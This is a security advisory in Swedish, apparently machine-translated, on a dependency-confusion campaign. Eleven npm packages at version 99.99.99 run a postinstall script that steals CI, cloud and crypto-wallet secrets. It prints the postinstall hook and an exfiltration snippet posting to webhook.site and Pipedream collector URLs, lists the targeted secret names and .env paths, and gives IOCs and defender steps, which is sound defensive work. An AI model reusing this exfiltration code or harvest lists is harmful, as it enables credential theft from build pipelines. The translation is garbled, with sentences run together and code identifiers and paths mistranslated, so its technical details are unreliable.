TL; DR
Den 17 juni 2026 publicerades ett enda npm-konto elva paket som delar ett syfte och en nyttolastTio av dem bär cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); den elfte är den avgränsade @public-for-cdao/coreVar och en publicerades i version 99.99.99 och skickar en byte-identisk recon.js som går vidare postinstall.
Namnen är det som talar om det. De läses som de interna byggstenarna i ett krypto-/DAO-projekts privata verktygskedja. Publicerade till det offentliga npm-registret med en artificiellt hög version, väntar de på en build. pipeline som är konfigurerad för att matcha dessa namn och som når publika npm före – eller istället för – det privata registret. Detta är beroendeförvirring, och nyttolasten är inställd för exakt var den förväntas landa: CI/CD löpare.
När postinstall bränder, recon.js samlar in värduppgifter, sveper grovt fyrtio moln-, CI- och kryptoplånboksmiljövariabler, läser vilken som helst .env filer den kan hitta och vidarebefordrar de hemlighetsbärande raderna ordagrant, och skickar sedan paketet till två samlare — webhook.site och en Pipedream-slutpunkt — med TLS-certifikatverifiering inaktiverad. En kopia skrivs också under /tmp.
Stränghet: högPåverkat ekosystem: npmAlla elva paket var tillgängliga i skrivande stund.
Attackanatomi
Mekanismen har fyra rörliga delar, och ingen av dem är subtil när du väl vet hur man gör. titta ett lager förbi paketnamnet.
1. Versionsinflation som ett lockbete för att locka fram nya versioner. Varje paket deklarerar version 99.99.99Beroendeförvirring uppstår när en pakethanterare frågar efter en internt namn, kontrollerar även det offentliga registret och väljer den högsta versionen hittar. npms standardval för ett cirkumflät- eller jokerteckenintervall är den mest tillfredsställande versionen över varje konfigurerad källa; om båda en privat register och publikt npm-svar för samma namn, vinner det större versionsnumret. A 99.99.99 överträffar i princip alla verkliga interna versioner som ett projekt kommer att ha nådd, så en resolver som inte är fäst vid den privata källan föredrar offentlig – och i det här fallet fientlig – kopia. Operatören behöver inte känna till målets verkliga versionsnummer; att välja ett absurt maximum garanterar alltid oavgjort bryter deras väg.
2. En efterinstallationsutlösare. package.json kopplar nyttolasten till installationen livscykel:
{ "scripts": { "postinstall": "node recon.js" } } Ingen import av paketet krävs. Bara att installera det – vilket är ett CI pipeline gör automatiskt — körs recon.js.
3. En bred hemlig granskning. recon.js sätter ihop en resultatmatris i steg:
- Värdkontext: värdnamn, plattform och version, arkitektur, användarnamn, funktion katalog.
- Miljövariabler: den itererar en fast lista med cirka fyrtio namn och poster alla som är inställda. Listan är avslöjande – den parar ihop generiska CI-tokens (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) och moln referenser (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) med register- och containerhemligheter (NPM_TOKEN, DOCKER_LÖSENORD, HARBOR_PASSWORD) och ett tydligt krypto-smaksatt kluster: PRIVAT_NYCKEL, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALKEMI_API_NYCKEL, ETH_RPC, BSC_RPCRegistrerade värden avkortas till de första 50 tecknen.
- .env filer: den söker igenom en lista med sökvägar — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, och .produktion/.utveckling varianter — och för alla filer som finns, filtrerar innehållet till matchande rader NYCKEL|HEMLIGHET|POLITT|LÖSENORD|PRIVAT|MNEMONISK och skickar in dessa rader **i sin helhet, oavkortade** i resultaten.
- Bygg-värd-kontext: den listar de första 20 posterna av /bygger/, /home/gitlab-runner/builds/, /var/lib/gitlab-löpare/och / Tmp /.
Sökvägslistan och variabellistan viktas mot GitLab-löpare, vilket pekar på nyttolasten direkt på självhostad CI-infrastruktur snarare än en utvecklare bärbar dator. Genom att gruppera fångstlistan efter kategori blir det avsedda fångsten tydlig:
| Kategori | Variabler/sökvägar nådda |
|---|---|
| CI/CD identitet och driftsättning | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Register och container | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Datalager | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Krypto / blockkedja | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| meddelandehantering | SLACK_TOKEN, DISCORD_TOKEN |
| På disk | .env familj + /home/gitlab-runner/.env, /root/.env, /app/**/.envkataloglistor över /builds/, /var/lib/gitlab-runner/ |
Kryptoklustret är den del som skiljer detta från en generisk CI-hemlighet svep: plånboksfrösfraser och signeringsnycklar visas bara i miljön för en blockkedjeprojekt, och de mappas direkt till kryptodao-/sign/kontrakt namngivning av transportörerna.
4. Dubbel exfiltrering med verifiering inaktiverad. Den insamlade matrisen är serialiserad och POSTAD till två destinationer:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) avvisaObehörig: falskt stänger av TLS-certifikatkontroller för utgående samtal. Samma data skrivs ut till stdout (så att den även hamnar i CI-jobbloggarna) och skrivas till /tmp/.npm_recon_ .jsonFel sväljs tyst, så en misslyckad sändning lämnar inga spår i installationsutdata utöver ett enda [rekognosering] installerad på linje.
En ledande kommentar i filen beskriver det som en "beroendeförvirring" Rekognoseringsnyttolast.” Avkortningen av miljövärden till 50 tecken har formen av ett konceptbevis. Det som förflyttar det förbi en endast-närvaro-fyr är .env hantering: hemliga linjer vidarebefordras i sin helhet, och destinationerna är två fungerande, angriparstyrda samlare snarare än en diskho som bara räknas träffar.
tidslinje
Publiceringsmönstret är signaturen för en enda skriptad push, inte elva oberoende uppladdningar.
| Tid (UTC, 2026-06-17) | Event |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publicerade |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — scoped variant, ~24 min senare |
Tio paket skickades ut inom 29 sekunder, ungefär ett var tredje sekund. Det omfattade @public-for-cdao/core följde ungefär 24 minuter efter — en sekund namngivningskonvention för samma mål, ifall det konsumerande projektet refererar till intern verktygskedja under ett omfång snarare än som enkla namn.
Indikatorer för kompromiss
| Typ | Indikator |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Montera kroken | postinstall: node recon.js |
| Filen har tappats | /tmp/.npm_recon_<timestamp>.json |
| Loggmarkör | [recon] <pkg>@<ver> installed on <hostname> (stdout i CI-loggar) |
| Behavioral | rejectUnauthorized: false på utgående HTTPS under installationen |
| nyttolast | recon.js, identisk i alla elva paket (en delad version) |
| Version | 99.99.99 på varje paket |
| Paket | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (Allt 99.99.99) |
| Publisher | aduljune / aduljune@proton.me (e-postadressen är overifierad, inget länkat källarkiv) |
Attribuering och observerat beteende
Allt om klustret pekar på en hand. Alla elva paket publicerades av npm-kontot aduljune (aduljune@proton.me, en overifierad adress utan länkad källförvaring), inom ett 25-minutersintervall, samtidigt 99.99.99 version, frakt av en recon.js vars innehåll är identiskt byte för byte över alla paket (MD5-matchningar över alla elva extraherade kopior). Det är en nyttolast stämplat på en namnlista, inte oberoende återanvändning av kod.
Namnlistan definierar det avsedda målet. kryptodao-* och cdao beskriv layout för privat modul för ett krypto-/DAO-projekt och nyttolastens skördlista speglar som gissar: vid sidan av de generiska CI- och molnhemligheterna, det specifikt sträcker sig efter PRIVAT_NYCKEL, MNEMONIK, SEED_PHRASE, och Ethereum/BSC RPC och leverantörsnycklar. De .env sökvägar och kataloglistor är GitLab-runner specifik. Den observerbara effekten är att alla pipeline lurade att installera dessa namn skulle vidarebefordra dess CI-tokens, molnnycklar och på disk .env hemligheter — och, för ett blockkedjeprojekt, dess plånboksmaterial — till två tredjepartssamlare.
Vi gör inga anspråk på vem som hanterar kontot eller vad de planerade att göra med det. data. Fakta som står på egna ben: namnen riktar sig mot en specifik typ av intern verktygskedja, nyttolasten läser och överför verkliga hemliga värden, och infrastrukturen var live.
Påverkan, trender och vägledning för försvarare
Beroendeförvirring förblir effektiv eftersom den utnyttjar resolverbeteende, inte en sårbarhet i vilket paket som helst. Bäraren här är trivial — elva nästan tomma paket — men explosionsradien är vad som helst pipeline föredrar felaktigt offentlig npm för ett internt namn. CI-löpare är det värsta stället för att det ska hända: de håller exakt polletterna och .env filer som denna nyttolast läser, och de installerar beroenden icke-interaktivt, så en efterinstallation springer utan att någon tittar på.
Det här klustret passar också in i ett mönster vi fortsätter att se: nyttolaster vid installationstid som presenterar som "forskning" eller "rekognoscering" samtidigt som man gör verklig insamling av referenser. Etiketten i filen ändrar inte vad koden gör på en löpare. Två designval behåller aktiviteten tyst: varje nätverks- och filsystemsoperation är insvept i en undantagshanterare som ignorerar fel, så en blockerad sändning eller en saknad fil producerar ingen diagnostisk utdata, och det enda som skrivs ut är en enda oskyldig [rekonstruera] … installerad rad som smälter in i det vanliga installationschatteret. Användningen av webhook.site och Pipedream är också avsiktlig bekvämlighet — båda är gratis, omedelbart provisionerade förfrågningsinsamlingstjänster, så att operatören inte behöver några servrar av sina egna och destinationerna ser ut som vanliga SaaS-värdnamn i utgående loggar.
Det är ekonomin som gör detta värt en försvarares uppmärksamhet, även om Operatörskoden är trivial. Att registrera elva namn kostar ingenting, nyttolasten är ett filen kopieras elva gånger, och pakethanteraren gör allt körande. En enda felkonfigurerad pipeline var som helst som konsumerar ett av dessa namn betalar för hela drift.
Konkreta steg för försvarare:
- Fäst interna omfång till ditt privata register. Konfigurera npm så interna namn
och omfång matchas endast mot ditt register (registermappningar med omfång för .npmrc, eller en proxy som aldrig går igenom till offentlig npm för ägda namnrymder). Reservera dina offentliga scope-namn så att ingen annan kan registrera dem.
- Commit låsfiler och installera med –ignore-scripts i CI där det är möjligt, eller granska den lilla uppsättning beroenden som verkligen behöver installationsskript. recon.js kan inte köras om efterinstallation är inte verkställd.
- Behandla en 99.99.99 (eller annan absurt hög) version av ett namn som ser internt ut som en röd flagga i beroendegranskning och registerövervakning.
- Avisering vid utgående åtgärd under installation. A efterinstallation som öppnar en utgående HTTPS anslutning — särskilt med certifikatverifiering inaktiverad — till webhook.site, Pipedream eller liknande tjänster för förfrågningsinsamling är värda att blockera vid nätverkskanten och flagga i byggloggar.
- Jaga efter artefakterna. Kontrollera löpare för /tmp/.npm_recon_*.json Och för [rekonstruera] … installerad på … markör i de senaste CI-loggarna. Om den hittas, rotera varje legitimation exponerad för det pipeline — CI-tokens, molnnycklar, registertokens och alla plånboksfrön eller privata nycklar som finns i miljön eller .env-filer.
Referensprojekt
Ingen extern rapportering om detta kluster fanns vid skrivande stund; analysen ovanstående är direkt baserat på det publicerade paketets innehåll




